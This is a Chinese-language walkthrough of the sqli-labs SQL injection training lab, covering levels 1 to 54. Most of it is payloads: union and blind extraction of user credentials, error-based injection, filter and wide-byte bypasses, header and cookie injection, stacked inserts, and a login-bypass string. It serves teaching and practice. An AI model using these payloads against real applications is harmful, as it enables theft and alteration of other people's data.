sql-labs
- 1.准备工作
- sqli-labs第一关
- 一.判断是否有sql注入,什么类型?
- 联合注入
- 第二关
- 第三关
- 第四关
- 第五关
- 第六关
- 第八题
- 第九题
- 第11题
- 第十二关
- 第十三关
- 第十四关
- 第十五关
- 第十六关
- 第十七关
- 第十八题
- 十九题
- 第二十题
- 第二十一关
- 第二十二关
- 第二十三关
- 第二十四关
- 第二十五题
- 第二十六题
- 第二十七题
- 第二十八题
- 第二十九关
- 第三十关
- 第三十一关
- 第三十二关
- 第三十三关
- 第三十四关
- 第三十五关
- 第三十六关
- 第三十七关
- 第三十八关
- 第三十九关
- 第四十关
- 第四十一关
- 第四十二题
- 第四十三题
- 第四十四关
- 第四十五关
- 第四十六关
- 第四十七关
- 第四十八关
- 第四十九关
- 第五十关
- 第五十一关
- 第五十二关
- 第五十三关
- 第五十四关
- 第五十五关
- 第五十六关
- 第五十七关
- 第五十八关
- 第五十九关
- 第六十关
- 第六十一关
- 第六十二关
- 第六十三关
- 第六十四关
- 第六十五关
1.准备工作
SQL注入原理
1.SQL注入概念及产生原因:
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
2.SQL注入的本质:
把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:
1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。
MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本
SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5… //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4… 4、获取全部数据库名
union select 1,2,(select group\_concat(schema\_name)froinformation\_schema.schemata)
5、获取表名
union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=‘库名’
6、获取字段名
union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'
7、获取数据
union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:
查 库: select schema\_name from information\_schema.schema
查 表: select table\_name from information\_schema.tables where table\_schema=库名
查 列: select column\_name from information\_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名
总结–普通SQL注入必备条件:
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;
参考注入点
参考sql入门
参考常见注入
sqli-labs第一关
一.判断是否有sql注入,什么类型?
1.提示你输入数字值的ID作为参数,我们输入?id=1
2.id输入的值不同,返回的内容不同
3.判断sql是否拼接,且是字符型还是数字型。
有sql注入
经典判断数字型:and 1=1和and 1=2。
经典判断字符型:1’and ‘1’=‘1和 1’ amd ‘1’='2。
参考图片:
![在这里插入图片描述](https://img-blog.csdnimg.cn/e578faecf3db4568aaf288929ac27b9f.png
综上所述:存在sql注入,且为字符型。
联合注入
简单说:就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
4.判断表格有几列,如果报错就是超过列数。
?id=1' order by 3 --+
判断出一共有三列
5.爆出显示位,就是看看表格里面哪一列是在页面显示的。可以看到第二列和第三列在数据中显示。
?id=-1' union select 1,2,3 --+
6.获取数据库名和版本名
?id=-1' union select 1,database(),version() --+
7.爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
8.爆字段名,可以根据表名知道账号和密码在users中。
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' --+
得到username , password
9.通过username , password,得到所有数据。
?id=-1' union select 1,2,group_concat(username,' : ',password) from users --+
第二关
1.与第一关相同,先判断是否有sql注入(单引号或双引号,看是否报错),判断为数字型
2.一共有三列
3.与第一关一样的联合查询
第三关
1.判断sql语句是单引号字符且有括号,不仅要闭合单引号,还要考虑括号
判断为字符型
2.与第一关相同
第四关
1.判断sql语句是双引号字符且有括号,不仅要闭合双引号,还要考虑括号
2.有三列
3.与第一关相同
第五关
一.判断
1.判断为’单引号闭合
2.发现有三列,之后却进行不下去,发现总是显示 you are in…
二.获取数据
1.两种方法
第一种,比较麻烦。利用length(),ascii(),substr()这三个函数。
首先判断字符长度(length()),然后逐一比较具体字符ascii()和 substr()。
不建议使用太麻烦
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
第二种方法
报错注入
1.得到数据库名字利用updatexml()
2.得到表名
3.得到字段名
4.得到数据
第六关
闭合为",其余同less5
1.”闭合
2.其余与less5相同报错注入
#第七关
1.判断闭合
?id=1’)) --+
2.与第五题相同报错注入
第八题
布尔型盲注
1.?id=1’ --+
2.第五题的第一种方法布尔型盲注,不断猜测数据库名字的长度。
(1)判断长度
(2).猜测数据库名字
说明数据库名称第一位是s
返回正常,说明数据库名称第二位是e
(3)猜表名:
?id=1’ and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101–+
(4)猜字段名
第九题
时间盲注问题
同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,要尝试使用时间盲注会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,
.布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,
时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
第十题
第十关和第九关一样只需要将单引号换成双引号。
第11题
1——10是get类型,11变成新的类型
(1)输入1’时,根据报错信息可以看出,是字符型
(2)与第一关相同。可以使用联合注入,得到数据。只是通过#注释,–+在这里无效
第十二关
1.当我们输入1’和1时候页面没有反应。当我们输入1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。
2.与第一关相同。可以使用联合注入,得到数据。只是通过#注释,–+在这里无效
第十三关
与11关一样,注入点不同。?id=1’)#
第十四关
与11关一样,注入点不同。?id=1"#。报错注入
其他与前面一样
第十五关
第十五关,只是不产生报错信息。这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考。
尝试万能密码:'or 1=1#
这里or代替以前的and,否则会报错
前面的是?id=1’ and (length(database()))=8#两个都成立,
现在是 ?id=’ or (length(database()))=8#一个成立,
第十六关
第十六关和第十五关一样,只是不产生报错信息。这就是明显的布尔盲注。
第十七关
1.抓包进行攻破用户名
2.运用报错注入
'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
第十八题
知识点:
1.输入用户名发现返回发现会返回IP和User Agent
User Agent识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
2.抓包,发现User Agent请求头
3.查看原码。一般不可以查看,要一个一个实验
发现把User Agent请求头信息拼接到insert
4.对拼接点进行修改:
第一种修改后,发生报错
第二种直接报错
十九题
1.随便输入一下
2.与上一题类似,本题显示Referer
Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。
进行抓包,爆破数据库
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
3.进行其他攻破
‘or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) or’
‘or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e),1) or’`
’ or (updatexml(1,concat(0x7e,(SELECT concat_ws(‘:’,username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or ’
第二十题
1.输入用户名admin。
2.同时发现cookie的提示信息不一样,注入点在cookie这里
3.常规
第二十一关
1.输入用户名,与上一题相似
2. 抓包,发现这道题的编码不太一样,需要用到解码
第二十二关
与第二十一关相同,就是换成双引号。
第二十三关
有到了get传参
2.攻破
第二十四关
发现存在二次注入
查看原码,发现可以在username注入
3.攻破
第二十五题
1.重要知识点
or可以用 || 或者 oorr 或者 替换掉
and 也以用 && aandnd 或者%26%26替换掉
‘#’ 也以用 or ‘1’='1 替换掉
在这里有一个陌生的符号:\s: 是匹配所有空白符,包括换行,\S 非空白符,不包括换行。
也就是说在这里我们无法使用空格 ,\s会将其消掉。
%0a可以代替空格,或者使用()将其包起来
2.攻破
第一次尝试:发现%0a被过滤
?id=-1'%0aunion%0aselect%0a1,2,database()oorr%0a‘1’='1
将%0a换成()
攻破
?id=-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(username,':',passwoorrd))from(users)),0x7e),1)||'1'='1
第二十六题
1.查看源码
过滤了select和union
攻破数据库
?id=-1'||updatexml(1,concat(0x7e,(sElect(database())),0x7e),1)||'1'='1
爆破数据表
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
爆破users表的列
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
第二十七题
与上题类似,改为"闭合
与上一个题类似
第二十八题
1.查看原码
2.尝试使用报错注入发现报错回显被屏蔽。可用盲注,但太麻烦。可以用联合查询
判断字段数,使用%0a代替空格,%00截断参考
3.常规操作
?id=1')%0Aorder%0Aby%0A3%0A;%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,3;%00
4.攻破
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers;%00
第二十九关
1.通过参数污染
主要考察参数污染
HTTP参数污染-CSDN博客
2.进行攻破
?id=1&id=-1' union select 1,2,database() --+
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema='security' --+
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where
table_name='users' --+
?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+
第三十关
与上一关类似,单引号变为双引号
第三十一关
与前面类似,双引号加括号绕过
?id=1&id=-1") union select 1,2,database() --+
第三十二关
1.看源码:将单引号和双引号都进行了转义(通过/)
2.当数据库的编码为GBK时,可以使用宽字节注入(两个字节为一个字),宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”(利用5df将反斜杠变成汉字),所以这时,单引号成功逃逸。
参考三十二关详解
3.攻破
?id=-1%df’ union select 1,2,database() --+
?id=-1%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
?id=-1%df’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
?id=-1%df’ union select 1,2,(select group_concat(username,0x3a,password) from users)–+
第三十三关
addslashes()函数:addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')双引号(")反斜杠(\)NULL
与上一题相同利用%df
第三十四关
实际上和前面两题一样,传参方式不同。这里不是url编码!
发现,在url栏中输入 %df 主要是以 16进制形式输入,而在输入框输入 %df 则是以普通字符串输入的。
绕过方法:
方法一:有些汉字的编码为三个字节的编码,我们将三个字节拆开来看,前两个为一组,后面的那个和 \ 相编码为两字节绕过,从而使得单引号逃逸。
方法二:用burpsuite进行传参
a’ and 1=1 #
a 编码61
第三十五关
第三十六关
1.看源码
mysql_real_escape_string()函数:转义在 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:\x00 \n \r \ ’ " \x1a
可以使用 %df 进行绕过
2.攻破
?id=-1%df’ union select 1,2,database() --+
?id=-1%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
?id=-1%df’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
?id=-1%df’ union select 1,2,(select group_concat(username,0x3a,password) from users)–+
第三十七关
基本与Less-34相同
第三十八关
堆叠注入
mysqli_multi_query() 函数:执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
也可以插入用;
?id=-1’ ;insert into users(id,username,password)values(100,‘772211’,‘112277’);
第三十九关
同样是堆叠注入
去掉单引号即可
第四十关
同样是堆叠注入,绕过方式变为 ')
第四十一关
同样为堆叠注入
第四十二题
首先利用or 1=1尝试注入,发现username这里并不存在注入,然后尝试password,利用’or 1=1-- qwe提示登录成功
第四十三题
看起来和42差不多 与上一题一样,只是闭合的区别
和之前题目一样,尝试or 1=1语句,发现username不存在注入,于是去尝试password,发现语句为’)or 1=1-- qwe
第四十四关
与前面的区别就是这关不能使用报错注入,可以使用时间盲注
’ union select 1,group_concat(username,‘:’,password),2 from users #
';insert into users(id,username,password)values(100,‘721721’,‘127’); #
第四十五关
同上,闭合方式改为’)
第四十六关
1.get传参
2.传入参数sort,出现如下界面
3.首先了解order by参数注入:
order by 注入是指其后面的参数是可控的
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注
?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where
table_schema='security' limit 3,1),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where
table_name='users' limit 1,1),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where
table_name='users' limit 2,1),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select concat_ws(username,':',password) from users limit 0,1),0x7e),1)
第四十七关
与上一关类似,闭合方式为单引号
第四十八关
这关报错没有回显,所以使用时间盲注
?sort=-1 and if((ascii(substr(database(),1,1))=115),sleep(10),1) --+
?sort=-1 and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);–+
?sort=-1 and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);–+
第四十九关
闭合方式变为 ’
第五十关
?sort=1;insert into users(id,username,password)values(100,‘721721’,‘127’); --+
进入题目,发现和之前题目是差不多的,我们输入依旧是会被拼接到order by后面,于是按照以往思路尝试一下报错注入,发现这里确实是存在报错注入的,那么这题和前面题目的区别又在哪里呢我们看一下源码,发现了这么一个函数mysqli multi query,这个函数就是之前给所讲产生堆叠注入的函数
第五十一关
改为单引号闭合,与上面相同
第五十二关
类似于48关,没有报错回显,使用时间盲注
?sort=1;insert into users(id,username,password)values(100,‘721’,‘721’); --+
第五十三关
第五十四关
仅允许我们输入十次语句,十次语句时候该靶场就会对里面所有的库名,表名,列名进行一个刷新。